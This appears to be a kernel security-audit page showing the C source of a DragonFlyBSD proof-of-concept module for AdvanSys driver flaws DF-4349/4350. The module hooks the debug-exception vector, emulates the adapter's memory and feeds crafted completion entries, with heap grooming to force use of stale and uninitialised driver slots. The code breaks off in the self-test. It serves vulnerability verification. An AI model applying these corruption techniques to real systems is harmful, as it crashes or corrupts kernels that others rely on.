⬢ DragonFlyBSD Kernel Audit
DF-4349 / df43xx_rig.c
← back to finding ↓ download raw
   1
   2
   3
   4
   5
   6
   7
   8
   9
  10
  11
  12
  13
  14
  15
  16
  17
  18
  19
  20
  21
  22
  23
  24
  25
  26
  27
  28
  29
  30
  31
  32
  33
  34
  35
  36
  37
  38
  39
  40
  41
  42
  43
  44
  45
  46
  47
  48
  49
  50
  51
  52
  53
  54
  55
  56
  57
  58
  59
  60
  61
  62
  63
  64
  65
  66
  67
  68
  69
  70
  71
  72
  73
  74
  75
  76
  77
  78
  79
  80
  81
  82
  83
  84
  85
  86
  87
  88
  89
  90
  91
  92
  93
  94
  95
  96
  97
  98
  99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 117
 118
 119
 120
 121
 122
 123
 124
 125
 126
 127
 128
 129
 130
 131
 132
 133
 134
 135
 136
 137
 138
 139
 140
 141
 142
 143
 144
 145
 146
 147
 148
 149
 150
 151
 152
 153
 154
 155
 156
 157
 158
 159
 160
 161
 162
 163
 164
 165
 166
 167
 168
 169
 170
 171
 172
 173
 174
 175
 176
 177
 178
 179
 180
 181
 182
 183
 184
 185
 186
 187
 188
 189
 190
 191
 192
 193
 194
 195
 196
 197
 198
 199
 200
 201
 202
 203
 204
 205
 206
 207
 208
 209
 210
 211
 212
 213
 214
 215
 216
 217
 218
 219
 220
 221
 222
 223
 224
 225
 226
 227
 228
 229
 230
 231
 232
 233
 234
 235
 236
 237
 238
 239
 240
 241
 242
 243
 244
 245
 246
 247
 248
 249
 250
 251
 252
 253
 254
 255
 256
 257
 258
 259
 260
 261
 262
 263
 264
 265
 266
 267
 268
 269
 270
 271
 272
 273
 274
 275
 276
 277
 278
 279
 280
 281
 282
 283
 284
 285
 286
 287
 288
 289
 290
 291
 292
 293
 294
 295
 296
 297
 298
 299
 300
 301
 302
 303
 304
 305
 306
 307
 308
 309
 310
 311
 312
 313
 314
 315
 316
 317
 318
 319
 320
 321
 322
 323
 324
 325
 326
 327
 328
 329
 330
 331
 332
 333
 334
 335
 336
 337
 338
 339
 340
 341
 342
 343
 344
 345
 346
 347
 348
 349
 350
 351
 352
 353
 354
 355
 356
 357
 358
 359
 360
 361
 362
 363
 364
 365
 366
 367
 368
 369
 370
 371
 372
 373
 374
 375
 376
 377
 378
 379
 380
 381
 382
 383
 384
 385
 386
 387
 388
 389
 390
 391
 392
 393
 394
 395
 396
 397
 398
 399
 400
 401
 402
 403
 404
 405
 406
 407
 408
 409
 410
 411
 412
 413
 414
 415
 416
 417
 418
 419
 420
 421
 422
 423
 424
 425
 426
 427
 428
 429
 430
 431
 432
 433
 434
 435
 436
 437
 438
 439
 440
 441
 442
 443
 444
 445
 446
 447
 448
 449
 450
 451
 452
 453
 454
 455
 456
 457
 458
 459
 460
 461
 462
 463
 464
 465
 466
 467
 468
 469
 470
 471
 472
 473
 474
 475
 476
 477
 478
 479
 480
 481
 482
 483
 484
 485
 486
 487
 488
 489
 490
 491
 492
 493
 494
 495
 496
 497
 498
 499
 500
 501
 502
 503
 504
 505
 506
 507
 508
 509
 510
 511
 512
 513
 514
 515
 516
 517
 518
 519
 520
 521
 522
 523
 524
 525
 526
 527
 528
 529
 530
 531
 532
 533
 534
 535
 536
 537
 538
 539
 540
 541
 542
 543
 544
 545
 546
 547
 548
 549
 550
 551
 552
 553
 554
 555
 556
 557
 558
 559
 560
 561
 562
 563
 564
 565
 566
 567
 568
 569
 570
 571
 572
 573
 574
 575
 576
 577
 578
 579
 580
 581
 582
 583
 584
 585
 586
 587
 588
 589
 590
 591
 592
 593
 594
 595
 596
 597
 598
 599
 600
 601
 602
 603
 604
 605
 606
 607
 608
 609
 610
 611
 612
 613
 614
 615
 616
 617
 618
 619
 620
 621
 622
 623
 624
 625
 626
 627
 628
 629
 630
 631
 632
 633
 634
 635
 636
 637
 638
 639
 640
 641
 642
 643
 644
 645
 646
 647
 648
 649
 650
 651
 652
 653
 654
 655
 656
 657
 658
 659
 660
 661
 662
 663
 664
 665
 666
 667
 668
 669
 670
 671
 672
 673
 674
 675
 676
 677
 678
 679
 680
 681
 682
 683
 684
 685
 686
 687
 688
 689
 690
 691
 692
 693
 694
 695
 696
 697
 698
 699
 700
 701
 702
 703
 704
 705
 706
 707
 708
 709
 710
 711
 712
 713
 714
 715
 716
 717
 718
 719
 720
 721
 722
 723
 724
 725
 726
 727
 728
 729
 730
 731
 732
 733
 734
 735
 736
 737
 738
 739
 740
 741
 742
 743
 744
 745
 746
 747
 748
 749
 750
 751
 752
 753
 754
 755
 756
 757
 758
 759
 760
 761
 762
 763
 764
 765
 766
 767
 768
 769
 770
 771
 772
 773
 774
 775
 776
 777
 778
 779
 780
 781
 782
 783
 784
 785
 786
 787
 788
 789
 790
 791
 792
 793
 794
 795
 796
 797
 798
 799
 800
 801
 802
 803
 804
 805
 806
 807
 808
 809
 810
 811
 812
 813
 814
 815
 816
 817
 818
 819
 820
 821
 822
 823
 824
 825
 826
 827
 828
 829
 830
 831
 832
 833
 834
 835
 836
 837
 838
 839
 840
 841
 842
 843
 844
 845
 846
 847
 848
 849
 850
 851
 852
 853
 854
 855
 856
 857
 858
 859
 860
 861
 862
 863
 864
 865
 866
 867
 868
 869
 870
 871
 872
 873
 874
 875
 876
 877
 878
 879
 880
 881
 882
 883
 884
 885
 886
 887
 888
 889
 890
 891
 892
 893
 894
 895
 896
 897
 898
 899
 900
 901
 902
 903
 904
 905
 906
 907
 908
 909
 910
 911
 912
 913
 914
 915
 916
 917
 918
 919
 920
 921
 922
 923
 924
 925
 926
 927
 928
 929
 930
 931
 932
 933
 934
 935
 936
 937
 938
 939
 940
 941
 942
 943
 944
 945
 946
 947
 948
 949
 950
 951
 952
 953
 954
 955
 956
 957
 958
 959
 960
 961
 962
 963
 964
 965
 966
 967
 968
 969
 970
 971
 972
 973
 974
 975
 976
 977
 978
 979
 980
 981
 982
 983
 984
 985
 986
 987
 988
 989
 990
 991
 992
 993
 994
 995
 996
 997
 998
 999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
/*
 * df43xx_rig.c - verification rig for DF-4349 / DF-4350
 * (sys/dev/disk/advansys/advansys.c, AdvanSys narrow ASC SCSI HBA driver).
 *
 * This module contains ZERO driver logic.  It
 *
 *   1. fabricates the exact post-attach driver state (struct adv_softc
 *      with a REAL bus_dma tag + dmamaps, a ccb_infos array kmalloc'd
 *      exactly as production adv_attach() does - M_DEVBUF, NO M_ZERO -
 *      and ACTIVE ccb_info/ccb/list state exactly as production
 *      adv_execute_ccb() builds it);
 *   2. EMULATES THE ASC CHIP: the plain chip registers (CHIP_STATUS,
 *      CHIP_CTRL) as a flat register page behind the kernel's own
 *      bus_space MEM tag (tag = X86_64_BUS_SPACE_MEM), and the LRAM
 *      (address-latch at port 0xA + auto-incrementing data port at 0x8)
 *      with an x86 data-watchpoint (#DB) interceptor: DR0 watches the
 *      2-byte LRAM_ADDR latch, DR1 the 2-byte LRAM_DATA port, and a
 *      temporary IDT[1] handler services them exactly like the silicon.
 *      The done-queue entries (FWD bytes, ccb_index, status bytes,
 *      resid) are fully crafted - this is the device-fed input;
 *   3. DISPATCHES THE PRODUCTION HANDLERS of the RUNNING KERNEL
 *      (/boot/kernel/kernel - advansys.c is compiled into GENERIC):
 *      runtime addresses = nm(1) values (no KASLR on this guest),
 *      injected via sysctl kern.df43xx.*.addr.  adv_intr() is the real
 *      ISR entry; adv_run_doneq() is static/inlined into it; adv_done()
 *      and adv_copy_lram_doneq() are global and dispatched directly for
 *      the forensic runs.
 *
 * Scenarios (sysctl -w kern.df43xx.go=N):
 *   0  self-test: production adv_read/write_lram_* + adv_copy_lram_doneq
 *      round-trip against the emulated LRAM (proves the emulator exact).
 *   1  CONTROL: one legitimate done-queue entry -> production adv_intr
 *      completes the ACTIVE ccb cleanly and returns (guest alive).
 *   2  DF-4349 facet A: duplicated completion entry naming an already
 *      completed (ACCB_FREE) slot -> production adv_done() runs a second
 *      time on the stale ccb -> kernel page fault at 0x0
 *      (adv_free_ccb_info(adv, NULL), advansys.c:1261 via :1109).
 *   3  DF-4349 facet B: done entry naming an in-bounds but
 *      never-allocated slot (ccb_infos is kmalloc'd without M_ZERO,
 *      advansys.c:1296) whose ccb field was heap-groomed to poison
 *      0x41df41df41df -> ccb->csio.resid write (advansys.c:1108)
 *      page-faults at the poison address.
 *   4  DF-4350: cyclic device-fed FWD chain (entry 6 -> 7 -> 6)
 *      -> on the shipped kernel the unbounded walk revisits slot 0 and
 *      panics via the DF-4349 sink; with only DF-4349's validation fix
 *      the walk skips the completed slots and NEVER TERMINATES
 *      (livelock); with both fixes it stops at the budget.
 *   5  forensic double-completion of production adv_done() - survivable
 *      runs enumerating every corrupting op of the second completion:
 *      stale LIST_REMOVE hijack of adv->pending_ccbs (a live ccb is
 *      orphaned), free_ccb_infos self-cycle from double
 *      adv_free_ccb_info, and (5b) the recycled-dmamap unload of a LIVE
 *      mapping via a duplicated entry that names a recycled slot.
 *   6  scenario 4 dispatched from a dedicated kernel thread with
 *      heartbeat callouts + an LRAM-access counter sysctl - used to
 *      prove non-termination (livelock) on a kernel that has only the
 *      DF-4349 fix.
 *
 * Build: see build.sh.  Run: see run_df4349.sh / run_df4350.sh.
 */

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/module.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/bus.h>
#include <sys/kthread.h>
#include <sys/thread2.h>
#include <sys/callout.h>
#include <sys/time.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/cam_sim.h>
#include <bus/cam/scsi/scsi_all.h>
#include <machine/md_var.h>		/* setidt */
#include <machine/segments.h>		/* idt_arr, gate_descriptor, IDT_DB */

#include "advlib.h"			/* verbatim sys/dev/disk/advansys/advlib.h */

MALLOC_DEFINE(M_DF43XX, "df43xx", "DF-4349/4350 advansys verification rig");

/* ------------------------------------------------------------------ */
/* injected production handlers (nm /boot/kernel/kernel, no KASLR)     */
/* ------------------------------------------------------------------ */
static unsigned long	a_adv_intr, a_adv_done, a_adv_copy_lram_doneq;
static unsigned long	a_adv_read_lram_16, a_adv_read_lram_8;
static unsigned long	a_adv_write_lram_16, a_adv_write_lram_8;

typedef void		(*fn_adv_intr)(void *);
typedef void		(*fn_adv_done)(struct adv_softc *, union ccb *,
				     u_int, u_int, u_int, u_int);
typedef u_int8_t	(*fn_adv_copy_lram_doneq)(struct adv_softc *, u_int16_t,
						struct adv_q_done_info *,
						u_int32_t);
typedef u_int16_t	(*fn_adv_read_lram_16)(struct adv_softc *, u_int16_t);
typedef u_int8_t	(*fn_adv_read_lram_8)(struct adv_softc *, u_int16_t);
typedef void		(*fn_adv_write_lram_16)(struct adv_softc *, u_int16_t,
					      u_int16_t);
typedef void		(*fn_adv_write_lram_8)(struct adv_softc *, u_int16_t,
					     u_int8_t);

static fn_adv_intr		adv_intr_fn = (fn_adv_intr)1;
static fn_adv_done		adv_done_fn = (fn_adv_done)1;
static fn_adv_copy_lram_doneq	adv_copy_lram_doneq_fn =
    (fn_adv_copy_lram_doneq)1;
static fn_adv_read_lram_16	adv_read_lram_16_fn = (fn_adv_read_lram_16)1;
static fn_adv_read_lram_8	adv_read_lram_8_fn = (fn_adv_read_lram_8)1;
static fn_adv_write_lram_16	adv_write_lram_16_fn = (fn_adv_write_lram_16)1;
static fn_adv_write_lram_8	adv_write_lram_8_fn = (fn_adv_write_lram_8)1;

static int df43xx_go;

/* ------------------------------------------------------------------ */
/* ASC chip emulation                                                  */
/*                                                                     */
/* LRAM protocol (advlib.c): every access writes the 16-bit address    */
/* to LRAM_ADDR (port 0xA) and then reads/writes 16-bit words at the   */
/* LRAM_DATA port (0x8); each DATA access auto-increments the latch    */
/* (adv_get_q_info reads N words after one address write).  This is    */
/* implemented with hardware data watchpoints: DR0 = write-only on the */
/* 2-byte latch, DR1 = read/write on the 2-byte data port.  A          */
/* temporary IDT[1] (#DB) gate services the traps.                     */
/* ------------------------------------------------------------------ */
#define ADV_REG_LRAM_DATA	0x0008	/* advlib.h */
#define ADV_REG_LRAM_ADDR	0x000A
#define ADV_REG_CHIP_STATUS	0x000E
#define ADV_REG_CHIP_CTRL	0x000F
#define IDT_DB_VEC		IDT_DB	/* machine/segments.h: 1 */
#define DR7_VALUE		(0x1UL | (0x1UL<<2) |		/* L0|L1 */ \
				 (0x1UL<<16) | (0x1UL<<18) |	/* RW0=w LEN0=2 */ \
				 (0x3UL<<20) | (0x1UL<<22))	/* RW1=rw LEN1=2 */

static uint8_t		lram[0x10000] __aligned(4096); /* adapter LRAM */
static volatile u_int	lram_ptr;		/* latched address */
static uint8_t	       *regpage;		/* flat chip regs */
static u_long		dbg_hits;		/* data-port services */
static u_long		latch_hits;

/* idt_arr[][] and setidt() are declared by <machine/segments.h> and
 * <machine/md_var.h> */
extern void		df_dbg_stub(void);	/* asm stub below */

/* raw DR register access */
static __inline unsigned long
rd_dr(int n)
{
	unsigned long v;

	switch (n) {
	case 0: __asm __volatile("movq %%dr0,%0" : "=r"(v)); break;
	case 1: __asm __volatile("movq %%dr1,%0" : "=r"(v)); break;
	case 6: __asm __volatile("movq %%dr6,%0" : "=r"(v)); break;
	case 7: __asm __volatile("movq %%dr7,%0" : "=r"(v)); break;
	default: v = 0;
	}
	return (v);
}

static __inline void
wr_dr(int n, unsigned long v)
{
	switch (n) {
	case 0: __asm __volatile("movq %0,%%dr0" :: "r"(v)); break;
	case 1: __asm __volatile("movq %0,%%dr1" :: "r"(v)); break;
	case 6: __asm __volatile("movq %0,%%dr6" :: "r"(v)); break;
	case 7: __asm __volatile("movq %0,%%dr7" :: "r"(v)); break;
	}
}

/*
 * #DB service routine (called from the asm stub with DR7 cleared).
 * dr6: B0 (bit0) = write hit on LRAM_ADDR latch,
 *      B1 (bit1) = read/write hit on LRAM_DATA port.
 */
static void __attribute__((noinline, used))
df_dbg_service(unsigned long dr6)
{
	u_int16_t v;
	u_int a;

	if (dr6 & 1) {
		latch_hits++;
		/* the latch write has completed: page[0xA] holds L */
		lram_ptr = *(volatile u_int16_t *)(regpage + ADV_REG_LRAM_ADDR);
		a = lram_ptr & 0xFFFE;
		/* pre-arm the data port with the addressed word */
		*(volatile u_int16_t *)(regpage + ADV_REG_LRAM_DATA) =
		    *(volatile u_int16_t *)&lram[a];
	}
	if (dr6 & 2) {
		dbg_hits++;
		/* a data-port access completed */
		v = *(volatile u_int16_t *)(regpage + ADV_REG_LRAM_DATA);
		a = lram_ptr & 0xFFFE;
		if (v != *(volatile u_int16_t *)&lram[a])
			*(volatile u_int16_t *)&lram[a] = v;	/* was a write */
		lram_ptr = ((lram_ptr & 0xFFFE) + 2) & 0xFFFF;	/* increment */
		*(volatile u_int16_t *)(regpage + ADV_REG_LRAM_DATA) =
		    *(volatile u_int16_t *)&lram[lram_ptr & 0xFFFE];
	}
}

/*
 * asm stub for IDT[1]: no error code for #DB; we are on the IST2 stack
 * (interrupt gate, IF cleared).  Saves argument registers, disables the
 * watchpoints (DR7=0), calls the service function, re-arms, clears DR6
 * status and iretqs.
 */
__asm__(
".text\n"
".globl df_dbg_stub\n"
".type df_dbg_stub,@function\n"
"df_dbg_stub:\n"
"	pushq %rax\n"
"	pushq %rcx\n"
"	pushq %rdx\n"
"	pushq %rsi\n"
"	pushq %rdi\n"
"	pushq %r8\n"
"	pushq %r9\n"
"	pushq %r10\n"
"	pushq %r11\n"
"	movq %dr6,%rdi\n"
"	movq %dr7,%rax\n"
"	pushq %rax\n"
"	xorq %rax,%rax\n"
"	movq %rax,%dr7\n"
"	subq $8,%rsp\n"
"	call df_dbg_service\n"
"	addq $8,%rsp\n"
"	popq %rax\n"
"	movq %rax,%dr7\n"
"	xorq %rax,%rax\n"
"	movq %rax,%dr6\n"
"	popq %r11\n"
"	popq %r10\n"
"	popq %r9\n"
"	popq %r8\n"
"	popq %rdi\n"
"	popq %rsi\n"
"	popq %rdx\n"
"	popq %rcx\n"
"	popq %rax\n"
"	iretq\n"
);

static unsigned long	sav_dr0, sav_dr1, sav_dr7;
static struct gate_descriptor sav_gate;
static int		wps_active;

static void
wps_enable(void)
{
	int cpu = mycpuid;

	KKASSERT(!wps_active);
	sav_gate = idt_arr[cpu][IDT_DB_VEC];
	setidt(IDT_DB_VEC, (alias_for_inthand_t *)&df_dbg_stub, SDT_SYSIGT,
	    0 /*SEL_KPL*/, 2 /*IST2*/, cpu);

	sav_dr0 = rd_dr(0);
	sav_dr1 = rd_dr(1);
	sav_dr7 = rd_dr(7);
	wr_dr(6, 0);
	wr_dr(0, (unsigned long)(regpage + ADV_REG_LRAM_ADDR));
	wr_dr(1, (unsigned long)(regpage + ADV_REG_LRAM_DATA));
	__asm __volatile("" ::: "memory");
	wr_dr(7, DR7_VALUE);
	wps_active = 1;
}

static void
wps_disable(void)
{
	int cpu = mycpuid;

	if (!wps_active)
		return;
	wr_dr(7, 0);
	wr_dr(0, sav_dr0);
	wr_dr(1, sav_dr1);
	wr_dr(7, sav_dr7);
	wr_dr(6, 0);
	__asm __volatile("" ::: "memory");
	idt_arr[cpu][IDT_DB_VEC] = sav_gate;
	wps_active = 0;
}

/* shadow LRAM crafting */
static void
lram_w16(u_int a, u_int16_t v)
{

	*(u_int16_t *)&lram[a & 0xFFFE] = v;
}

static void
lram_w32(u_int a, u_int32_t v)
{

	/* unaligned 32-bit stores are fine on x86 (shadow array) */
	*(u_int32_t *)&lram[a] = v;
}

/*
 * Craft a done-queue entry at queue number qno:
 *   FWD byte, QS_DONE status word, cntl word (no SG), done-info block
 *   (14 contiguous bytes: d2[0..9] then d3[0..3] - the get_q_info i==5
 *   skip only skips the struct's alignment pad), split resid words.
 */
static void
craft_done_entry(u_int qno, u_int32_t ccb_index, u_int8_t fwd,
		 u_int32_t remain)
{
	u_int q = 0x4000 + ((qno & 0xFF) << 6);	/* ADV_QNO_TO_QADDR */

	lram[q + 0] = fwd;			/* ADV_SCSIQ_B_FWD */
	lram_w16(q + 2, (qno << 8) | QS_DONE);	/* B_STATUS: q_no|status */
	lram_w16(q + 4, 0);			/* B_CNTL: cntl=0 sg=0 */
	lram_w16(q + 20, 0);			/* B_SENSE_LEN */
	lram_w32(q + 22 + 0, ccb_index);	/* d2.ccb_index */
	lram[q + 22 + 4] = 0;			/* target_ix */
	lram[q + 22 + 5] = 0;			/* flag */
	lram[q + 22 + 6] = 0;			/* cdb_len */
	lram[q + 22 + 7] = 0;			/* tag_code */
	lram_w16(q + 22 + 8, 0);		/* vm_id */
	lram[q + 22 + 10] = QD_NO_ERROR;	/* d3.done_stat */
	lram[q + 22 + 11] = QHSTA_NO_ERROR;	/* d3.host_stat */
	lram[q + 22 + 12] = 0;			/* d3.scsi_stat = OK */
	lram[q + 22 + 13] = 0;			/* d3.scsi_msg */
	lram_w16(q + 52, (remain >> 16) & 0xFFFF);	/* W_ALT_DC1 */
	lram_w16(q + 60, remain & 0xFFFF);		/* DW_REMAIN_XFER_CNT */
}

static void
craft_doneq_tail(u_int tail_qno)
{

	lram_w16(0x5A /*ADVV_DONE_Q_TAIL_W*/, tail_qno);
}

/* ------------------------------------------------------------------ */
/* fabricated post-attach softc                                        */
/* ------------------------------------------------------------------ */
#define RIG_MAX_OPENINGS	16
#define RIG_POISON		0x000041df41df41dfUL /* canonical, unmapped */

struct rig_softc {
	struct adv_softc	*adv;
	uint8_t			*regpage;
	bus_dma_tag_t		 dmat;
	union ccb		*ccbs[RIG_MAX_OPENINGS];
	struct callout		*cos[RIG_MAX_OPENINGS];
	void			*bufs[RIG_MAX_OPENINGS];
	int			 nactive;
	int			 groomed;
};

static void
rig_map(void *arg, bus_dma_segment_t *segs, int nseg, int error)
{
	/* adv_map() verbatim */
	bus_addr_t *physaddr = (bus_addr_t *)arg;

	if (error == 0 && nseg > 0)
		*physaddr = segs->ds_addr;
}

static void
rig_destroy(struct rig_softc *rs)
{
	struct adv_softc *adv = rs->adv;
	int i;

	for (i = 0; i < rs->nactive; i++) {
		if (rs->ccbs[i] && rs->bufs[i])
			bus_dmamap_unload(rs->dmat, adv->ccb_infos[i].dmamap);
		if (rs->bufs[i])
			kfree(rs->bufs[i], M_DF43XX);
		if (rs->ccbs[i])
			kfree(rs->ccbs[i], M_DF43XX);
		if (rs->cos[i]) {
			callout_stop(rs->cos[i]);
			kfree(rs->cos[i], M_DF43XX);
		}
	}
	/* dmamaps for allocated slots */
	for (i = 0; i < adv->ccb_infos_allocated && i < RIG_MAX_OPENINGS; i++)
		if (adv->ccb_infos[i].dmamap != NULL)
			bus_dmamap_destroy(rs->dmat, adv->ccb_infos[i].dmamap);
	if (adv->sense_buffers)
		kfree(adv->sense_buffers, M_DF43XX);
	if (adv->ccb_infos)
		kfree(adv->ccb_infos, M_DEVBUF);	/* production alloc */
	if (rs->dmat)
		bus_dma_tag_destroy(rs->dmat);
	kfree(rs->regpage, M_DF43XX);
	kfree(adv, M_DF43XX);
	kfree(rs, M_DF43XX);
}

/*
 * Build the post-attach state.  nactive slots are ACCB_ACTIVE with real
 * dmamaps and ccbs linked into adv->pending_ccbs exactly as
 * adv_execute_ccb() leaves them.  If groom != 0, the ccb_infos array is
 * pre-populated with a poison pattern through a same-size alloc/free
 * cycle first (the production allocation at advansys.c:1296 is
 * kmalloc(..., M_DEVBUF, M_WAITOK) - no M_ZERO - so unallocated slots
 * contain prior heap contents on real hardware too).
 */
static struct rig_softc *
rig_build(int nactive, int nallocated, int groom)
{
	struct rig_softc *rs;
	struct adv_softc *adv;
	void *groomblk;
	int i, sz;

	rs = kmalloc(sizeof(*rs), M_DF43XX, M_WAITOK | M_ZERO);
	rs->nactive = nactive;
	rs->groomed = groom;

	rs->regpage = kmalloc(16, M_DF43XX, M_WAITOK | M_ZERO);
	/* chip status: interrupt pending, not halted, no bus reset */
	*(u_int16_t *)(rs->regpage + ADV_REG_CHIP_STATUS) = 0x0001;
	kprintf("df43xx-b: regpage ok\n");

	adv = rs->adv = kmalloc(sizeof(*adv), M_DF43XX, M_WAITOK | M_ZERO);
	adv->tag = 1;			/* X86_64_BUS_SPACE_MEM */
	adv->bsh = (bus_space_handle_t)(uintptr_t)rs->regpage;
	adv->unit = 9;
	adv->state = 0;			/* not in timeout/shortage recovery */
	adv->max_openings = RIG_MAX_OPENINGS;
	adv->cur_active = nactive;
	adv->max_dma_count = 0xFFFFFFFF;
	adv->ccb_infos_allocated = nallocated;
	kprintf("df43xx-b: softc ok\n");

	/* real bus DMA tag (bounce buffers so map state is observable).
	 * lowaddr = 2GB: the bounce-page pool allocates below 2GB fast
	 * (first pass), while the forensic data buffer is contigmalloc'd
	 * above 2GB so loading it genuinely bounces.  A low ceiling
	 * (16MB/256MB) wedges contigmalloc's slow-clean path under the vm
	 * token on a 4GB guest. */
	if (bus_dma_tag_create(NULL, /*parent*/1, /*align*/0,
			       /*lowaddr*/0x7FFFFFFF, /*force bouncing*/
			       /*highaddr*/BUS_SPACE_MAXADDR,
			       /*maxsize*/MAXPHYS, /*nsegs*/16,
			       /*maxsegsz*/BUS_SPACE_MAXSIZE_32BIT,
			       /*flags*/0, &rs->dmat) != 0) {
		kprintf("df43xx: bus_dma_tag_create failed\n");
		rs->dmat = NULL;
		rig_destroy(rs);
		return (NULL);
	}
	adv->parent_dmat = rs->dmat;
	adv->buffer_dmat = rs->dmat;
	kprintf("df43xx-b: bus_dma_tag ok\n");

	/* production ccb_infos allocation: M_DEVBUF, NO M_ZERO (:1296) */
	sz = sizeof(struct adv_ccb_info) * adv->max_openings;
	if (groom) {
		groomblk = kmalloc(sz, M_DEVBUF, M_WAITOK);
		memset(groomblk, 0x6b, sz);
		for (i = 0; i < adv->max_openings; i++) {
			struct adv_ccb_info *ci =
			    (struct adv_ccb_info *)((uint8_t *)groomblk +
			    i * sizeof(struct adv_ccb_info));
			*(uintptr_t *)&ci->ccb = RIG_POISON;
		}
		kfree(groomblk, M_DEVBUF);
	}
	adv->ccb_infos = kmalloc(sz, M_DEVBUF, M_WAITOK);
	kprintf("df43xx-b: ccb_infos alloc ok\n");
	LIST_INIT(&adv->pending_ccbs);
	SLIST_INIT(&adv->free_ccb_infos);
	adv->sense_buffers = kmalloc(sizeof(struct scsi_sense_data) *
	    adv->max_openings, M_DF43XX, M_WAITOK | M_ZERO);
	kprintf("df43xx-b: sense ok\n");

	/* ACTIVE slots exactly as adv_execute_ccb() builds them */
	for (i = 0; i < nactive; i++) {
		struct adv_ccb_info *cinfo = &adv->ccb_infos[i];
		union ccb *ccb;
		struct callout *co;

		cinfo->state = ACCB_ACTIVE;
		kprintf("df43xx-b: slot %d dmamap_create...\n", i);
		if (bus_dmamap_create(rs->dmat, 0, &cinfo->dmamap) != 0) {
			kprintf("df43xx: dmamap_create failed\n");
			rig_destroy(rs);
			return (NULL);
		}
		kprintf("df43xx-b: slot %d dmamap ok, ccb+callout kmalloc...\n", i);
		ccb = rs->ccbs[i] = kmalloc(sizeof(union ccb), M_DF43XX,
					    M_WAITOK | M_ZERO);
		co = rs->cos[i] = kmalloc(sizeof(*co), M_DF43XX,
					  M_WAITOK | M_ZERO);
		kprintf("df43xx-b: slot %d callout_init...\n", i);
		callout_init(co);
		kprintf("df43xx-b: slot %d callout ok\n", i);
		ccb->ccb_h.func_code = XPT_NOOP;	/* xpt_done noop */
		ccb->ccb_h.flags = CAM_DIR_NONE;	/* skip dmamap ops */
		ccb->ccb_h.status = CAM_REQ_INPROG | CAM_SIM_QUEUED;
		ccb->ccb_h.timeout_ch = co;
		ccb->ccb_h.ccb_cinfo_ptr = cinfo;
		cinfo->ccb = ccb;
		LIST_INSERT_HEAD(&adv->pending_ccbs, &ccb->ccb_h,
		    sim_links.le);
	}

	regpage = rs->regpage;
	kprintf("df43xx: softc=%p regpage=%p ccb_infos=%p (sz %d) "
	    "nactive=%d nallocated=%d groom=%d sz(adv_ccb_info)=%zu "
	    "sz(adv_softc)=%zu off(csio.resid)=%zu off(ccb_info.ccb)=%zu\n",
	    adv, rs->regpage, adv->ccb_infos, sz, nactive, nallocated, groom,
	    sizeof(struct adv_ccb_info), sizeof(struct adv_softc),
	    offsetof(union ccb, csio.resid),
	    offsetof(struct adv_ccb_info, ccb));
	if (groom)
		kprintf("df43xx: unallocated slot 10 ccb = 0x%016jx "
		    "(poison present: %s) - expect resid write at "
		    "0x%016jx\n",
		    (uintmax_t)*(uintptr_t *)(void *)&adv->ccb_infos[10].ccb,
		    *(uintptr_t *)(void *)&adv->ccb_infos[10].ccb ==
		    RIG_POISON ? "YES" : "NO",
		    (uintmax_t)(RIG_POISON +
		    offsetof(union ccb, csio.resid)));
	return (rs);
}

/* map load helper for the dmamap scenarios */
static bus_addr_t
rig_load(struct rig_softc *rs, int slot, void *buf, size_t len)
{
	bus_addr_t pa = 0;

	rs->bufs[slot] = buf;
	bus_dmamap_load(rs->dmat, rs->adv->ccb_infos[slot].dmamap, buf, len,
	    rig_map, &pa, 0);
	return (pa);
}

/* first word of the free list / pending list - forensic state prints */
static void
print_pending(struct adv_softc *adv, const char *tag)
{
	struct ccb_hdr *ch;
	int n = 0;

	kprintf("df43xx%s: pending_ccbs:", tag);
	for (ch = LIST_FIRST(&adv->pending_ccbs); ch != NULL && n < 8;
	     ch = LIST_NEXT(ch, sim_links.le), n++)
		kprintf(" %p", ch);
	kprintf("%s\n", n == 8 ? " ..." : "");
}

/* first field of struct bus_dmamap is the bounce-page list head */
static void *
map_bpages(bus_dmamap_t map)
{

	if (map == NULL)
		return (NULL);
	return (*(void **)(uintptr_t)map);
}

/* ------------------------------------------------------------------ */
/* scenario 0: LRAM emulator self-test via PRODUCTION accessors        */
/* ------------------------------------------------------------------ */
static int
sc_selftest(void)
{
	struct rig_softc *rs;
	struct adv_q_done_info scsiq;
	u_int8_t sgcnt;

	memset(lram, 0, sizeof(lram));
	rs = rig_build(0, 0, 0);
	if (rs == NULL)
		return (ENOMEM);

	/* raw accessor tests */
	lram_w16(0x300, 0xABCD);
	lram_w16(0x302, 0x1234);
	crit_enter();
	wps_enable();
	kprintf("df43xx[0]: read_lram_16(0x300)=0x%04x (want abcd)\n",
	    adv_read_lram_16_fn(rs->adv, 0x300));
	kprintf("df43xx[0]: read_lram_8(0x301)=0x%02x (want ab)\n",
	    adv_read_lram_8_fn(rs->adv, 0x301));
	adv_write_lram_16_fn(rs->adv, 0x304, 0x5A5A);
